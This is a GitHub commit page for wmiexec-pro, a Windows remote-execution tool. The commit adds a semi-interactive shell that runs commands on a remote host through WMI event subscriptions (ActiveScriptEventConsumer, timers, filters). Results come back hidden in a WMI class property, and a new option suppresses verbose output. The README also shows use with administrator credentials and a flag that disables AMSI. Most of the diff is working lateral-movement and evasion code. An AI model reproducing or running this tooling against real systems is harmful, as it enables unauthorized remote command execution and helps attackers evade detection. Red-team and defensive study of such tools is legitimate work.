Skip to content

Commit

Permalink
[Exec-command] Add semi-interactive shell
Browse files Browse the repository at this point in the history
Signed-off-by: XiaoliChan <[email protected]>
  • Loading branch information
XiaoliChan committed May 5, 2023
1 parent 7bf2ba9 commit 37f7fc9
Show file tree
Hide file tree
Showing 9 changed files with 247 additions and 74 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,7 @@ Enable/disable amsi bypass:
python3 wmiexec-pro.py administrator:[email protected] amsi -disable
Execute command:
python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
Expand Down
21 changes: 14 additions & 7 deletions lib/methods/classMethodEx.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,10 +40,12 @@ def create_Class(self, ClassName, iWbemServices=None, return_iWbemServices=False
# Clean up
print("[+] Stop vbs interval execution after created class.")
executer.remove_Event(tag)

iWbemServices.RemRelease()

# Return cimv2
if return_iWbemServices is True: return iWbemServices
if return_iWbemServices is True:
return iWbemServices
else:
iWbemServices.RemRelease()

def check_ClassStatus(self, ClassName, iWbemServices=None, return_iWbemServices=False):
if iWbemServices is None:
Expand All @@ -60,9 +62,11 @@ def check_ClassStatus(self, ClassName, iWbemServices=None, return_iWbemServices=
else:
print("\r\n[+] Class: %s has been created!" %ClassName)

iWbemServices.RemRelease()
# Return cimv2
if return_iWbemServices is True: return iWbemServices
if return_iWbemServices is True:
return iWbemServices
else:
iWbemServices.RemRelease()

def remove_Class(self, ClassName, iWbemServices=None, return_iWbemServices=False):
if iWbemServices is None:
Expand All @@ -75,6 +79,9 @@ def remove_Class(self, ClassName, iWbemServices=None, return_iWbemServices=False
sys.stdout = StringIO()
iWbemServices.DeleteClass(ClassName)
sys.stdout = current
iWbemServices.RemRelease()

# Return cimv2
if return_iWbemServices is True: return iWbemServices
if return_iWbemServices is True:
return iWbemServices
else:
iWbemServices.RemRelease()
60 changes: 29 additions & 31 deletions lib/methods/executeVBS.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,11 +22,13 @@ def checkError(banner, resp):
else:
logging.info('%s - OK' % banner)

def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=1000, returnTag=False):
def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=1000, returnTag=False, BlockVerbose=False, iWbemServices=None, return_iWbemServices=False):
if vbs_content == None and vbs_file != None:
with open(vbs_file,'r') as f: vbs_content = f.read()
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
self.iWbemLevel1Login.RemRelease()

if iWbemServices is None:
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
self.iWbemLevel1Login.RemRelease()
tag = "windows-object-" + str(uuid.uuid4())

# Copy from wmipersist.py
Expand All @@ -40,8 +42,7 @@ def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=10
# Don't output verbose
current=sys.stdout
sys.stdout = StringIO()
self.checkError('Adding ActiveScriptEventConsumer: %s' % tag,
iWbemServices.PutInstance(activeScript.marshalMe()))
iWbemServices.PutInstance(activeScript.marshalMe()) if BlockVerbose==True else self.checkError('Adding ActiveScriptEventConsumer: %s' % tag, iWbemServices.PutInstance(activeScript.marshalMe()))
#result=sys.stdout.getvalue()
sys.stdout = current

Expand All @@ -56,8 +57,7 @@ def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=10
# Don't output verbose
current=sys.stdout
sys.stdout = StringIO()
self.checkError('Adding EventFilter: %s' % tag,
iWbemServices.PutInstance(eventFilter.marshalMe()))
iWbemServices.PutInstance(eventFilter.marshalMe()) if BlockVerbose==True else self.checkError('Adding EventFilter: %s' % tag, iWbemServices.PutInstance(eventFilter.marshalMe()))
sys.stdout = current

else:
Expand All @@ -70,8 +70,7 @@ def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=10
# Don't output verbose
current=sys.stdout
sys.stdout = StringIO()
self.checkError('Adding IntervalTimerInstruction: %s' % tag,
iWbemServices.PutInstance(wmiTimer.marshalMe()))
iWbemServices.PutInstance(wmiTimer.marshalMe()) if BlockVerbose==True else self.checkError('Adding IntervalTimerInstruction: %s' % tag, iWbemServices.PutInstance(wmiTimer.marshalMe()))
sys.stdout = current

# EventFilter
Expand All @@ -85,8 +84,7 @@ def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=10
# Don't output verbose
current=sys.stdout
sys.stdout = StringIO()
self.checkError('Adding EventFilter: %s' % tag,
iWbemServices.PutInstance(eventFilter.marshalMe()))
iWbemServices.PutInstance(eventFilter.marshalMe()) if BlockVerbose==True else self.checkError('Adding EventFilter: %s' % tag, iWbemServices.PutInstance(eventFilter.marshalMe()))
sys.stdout = current

# Binding EventFilter & EventConsumer
Expand All @@ -98,30 +96,30 @@ def ExecuteVBS(self, vbs_file=None, vbs_content=None, filer_Query=None, timer=10
# Don't output verbose
current=sys.stdout
sys.stdout = StringIO()
self.checkError('Adding FilterToConsumerBinding',
iWbemServices.PutInstance(filterBinding.marshalMe()))
iWbemServices.PutInstance(filterBinding.marshalMe()) if BlockVerbose==True else self.checkError('Adding FilterToConsumerBinding',iWbemServices.PutInstance(filterBinding.marshalMe()))
sys.stdout = current

iWbemServices.RemRelease()
if returnTag == True: return tag
#iWbemServices.RemRelease()

if returnTag == True:
if return_iWbemServices == True:
return tag, iWbemServices
else:
return tag


def remove_Event(self, tag):
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
self.iWbemLevel1Login.RemRelease()
def remove_Event(self, tag, BlockVerbose=False, iWbemServices=None):

self.checkError('Removing ActiveScriptEventConsumer: %s' % tag,
iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % tag))
if iWbemServices is None:
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
self.iWbemLevel1Login.RemRelease()

iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % tag) if BlockVerbose==True else self.checkError('Removing ActiveScriptEventConsumer: %s' % tag, iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % tag))

self.checkError('Removing EventFilter: %s' % tag,
iWbemServices.DeleteInstance('__EventFilter.Name="%s"' % tag))
iWbemServices.DeleteInstance('__EventFilter.Name="%s"' % tag) if BlockVerbose==True else self.checkError('Removing EventFilter: %s' % tag, iWbemServices.DeleteInstance('__EventFilter.Name="%s"' % tag))

self.checkError('Removing IntervalTimerInstruction: %s' % tag,
iWbemServices.DeleteInstance(
'__IntervalTimerInstruction.TimerId="%s"' % tag))
iWbemServices.DeleteInstance('__IntervalTimerInstruction.TimerId="%s"' % tag) if BlockVerbose==True else self.checkError('Removing IntervalTimerInstruction: %s' % tag, iWbemServices.DeleteInstance('__IntervalTimerInstruction.TimerId="%s"' % tag))

self.checkError('Removing FilterToConsumerBinding',
iWbemServices.DeleteInstance(
r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'
r'Filter="__EventFilter.Name=\"%s\""' % (
tag, tag)))
iWbemServices.RemRelease()
iWbemServices.DeleteInstance(r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'r'Filter="__EventFilter.Name=\"%s\""' % (tag, tag)) if BlockVerbose==True else self.checkError('Removing FilterToConsumerBinding', iWbemServices.DeleteInstance(r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'r'Filter="__EventFilter.Name=\"%s\""' % (tag, tag)))

#iWbemServices.RemRelease()
83 changes: 74 additions & 9 deletions lib/modules/exec_command.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,17 +2,21 @@
import time
import base64
import os
import sys
import time
import datetime
import cmd
import re

from lib.methods.classMethodEx import class_MethodEx
from lib.methods.executeVBS import executeVBS_Toolkit
from impacket.dcerpc.v5.dtypes import NULL


class EXEC_COMMAND():
def __init__(self, iWbemLevel1Login):
def __init__(self, iWbemLevel1Login, codec):
self.iWbemLevel1Login = iWbemLevel1Login
self.codec = codec

def save_ToFile(self, hostname, content):
path = 'save/'+hostname
Expand Down Expand Up @@ -41,9 +45,11 @@ def timer_For_UnderNT6(self, iWbemServices=None, return_iWbemServices=False):

print("\r\n[+] Command executed!")

iWbemServices.RemRelease()
# Return cimv2
if return_iWbemServices is True: return iWbemServices
if return_iWbemServices is True:
return iWbemServices
else:
iWbemServices.RemRelease()

# For system under NT6, like windows server 2003
def exec_command_silent_For_UnderNT6(self, command=None):
Expand Down Expand Up @@ -103,7 +109,7 @@ def exec_command_silent(self, command, old=False):
# Windows will auto remove job after schedule job executed.
self.exec_command_silent_For_UnderNT6(command)

def exec_command_WithOutput(self, command, CODEC="gbk", ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False):
def exec_command_WithOutput(self, command, ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False):
executer = executeVBS_Toolkit(self.iWbemLevel1Login)
if ClassName_StoreOutput == None: ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"

Expand All @@ -115,7 +121,7 @@ def exec_command_WithOutput(self, command, CODEC="gbk", ClassName_StoreOutput=No

# Reuse cimv2 namespace to avoid dcom limition
class_Method = class_MethodEx(self.iWbemLevel1Login)
iWbemServices_Reuse = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True)
iWbemServices_Reuse_cimv2 = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True)

print("[+] Executing command...(Sometime it will take a long time, please wait)")
if old == False:
Expand All @@ -137,21 +143,80 @@ def exec_command_WithOutput(self, command, CODEC="gbk", ClassName_StoreOutput=No
tag = executer.ExecuteVBS(vbs_content=vbs, returnTag=True)

# Reuse cimv2
iWbemServices_Reuse = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse, return_iWbemServices=True)
iWbemServices_Reuse_cimv2 = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse_cimv2, return_iWbemServices=True)

executer.remove_Event(tag)

print("\r\n[+] Getting command results...")
command_ResultObject, resp = iWbemServices_Reuse.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID))
command_ResultObject, resp = iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID))
record = dict(command_ResultObject.getProperties())
result = base64.b64decode(record['DebugOptions']['value']).decode(CODEC, errors='replace')
result = base64.b64decode(record['DebugOptions']['value']).decode(self.codec, errors='replace')
print(result)

if save_Result == True and hostname != None:
self.save_ToFile(hostname, result)

def clear(self, ClassName_StoreOutput=None):
if ClassName_StoreOutput == None: ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"

class_Method = class_MethodEx(self.iWbemLevel1Login)
class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices=False)

class EXEC_COMMAND_SHELL(cmd.Cmd):
def __init__(self, iWbemLevel1Login, dcom, codec):
cmd.Cmd.__init__(self)
self.codec = codec
self.dcom = dcom
self.cwd = 'C:\Windows\System32'
self.prompt = "%s>" %self.cwd
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
self.iWbemLevel1Login = iWbemLevel1Login
self.executer = executeVBS_Toolkit(self.iWbemLevel1Login)
self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"

# Reuse cimv2 namespace to avoid dcom limition
class_Method = class_MethodEx(self.iWbemLevel1Login)
self.iWbemServices_Reuse_cimv2 = class_Method.check_ClassStatus(self.ClassName_StoreOutput, return_iWbemServices=True)
self.iWbemServices_Reuse_subscription = None

def do_exit(self, line):
self.dcom.disconnect()
sys.exit(1)

def process_Result(self, result):
tmp_list = re.split(r'\[COMMAND\]|\[PATH\]',result)
self.cwd = tmp_list[2].strip('\r\n').lstrip()
cmd_Result = tmp_list[1].strip('\r\n').lstrip()
self.prompt = "%s>" %self.cwd
print(cmd_Result + "\r\n")

def default(self, line):
FileName = str(uuid.uuid4()) + ".log"
CMD_instanceID = str(uuid.uuid4())
random_TaskName = str(uuid.uuid4())

command = line
if "'" in command: command = command.replace("'",r'"')

with open('./lib/vbscripts/Exec-Command-WithOutput-Shell.vbs') as f: vbs = f.read()
vbs = vbs.replace('REPLACE_WITH_CWD', self.cwd).replace('REPLACE_WITH_COMMAND', base64.b64encode(command.encode('utf-8')).decode('utf-8')).replace('REPLACE_WITH_FILENAME', FileName).replace('REPLACE_WITH_CLASSNAME', self.ClassName_StoreOutput).replace('RELEACE_WITH_UUID',CMD_instanceID).replace('REPLACE_WITH_TASK',random_TaskName)

# Reuse subscription namespace to avoid dcom limition
if self.iWbemServices_Reuse_subscription is None:
tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, return_iWbemServices=True)
else:
tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteVBS(vbs_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription ,return_iWbemServices=True)

# Wait 5 seconds for next step.
for i in range(5,0,-1):
print(f"[+] Waiting {i}s for next step.", end="\r", flush=True)
time.sleep(1)
print("\r\n[+] Results: \r\n")

self.executer.remove_Event(tag, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription)

command_ResultObject, resp = self.iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(self.ClassName_StoreOutput, CMD_instanceID))
record = dict(command_ResultObject.getProperties())
result = base64.b64decode(record['DebugOptions']['value']).decode(self.codec, errors='replace')
self.process_Result(result)

7 changes: 5 additions & 2 deletions lib/modules/filetransfer.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,11 @@ def queryfile_Status(self, file, iWbemServices=None, return_iWbemServices=False)
)
)

iWbemServices.RemRelease()
if return_iWbemServices is True: return iWbemServices
# Return cimv2
if return_iWbemServices is True:
return iWbemServices
else:
iWbemServices.RemRelease()

# For upload file, we don't need to create class, we can make binary included in vbs script(file dropper).
# After vbs interval job created, then release your file.
Expand Down
Loading

0 comments on commit 37f7fc9

Please sign in to comment.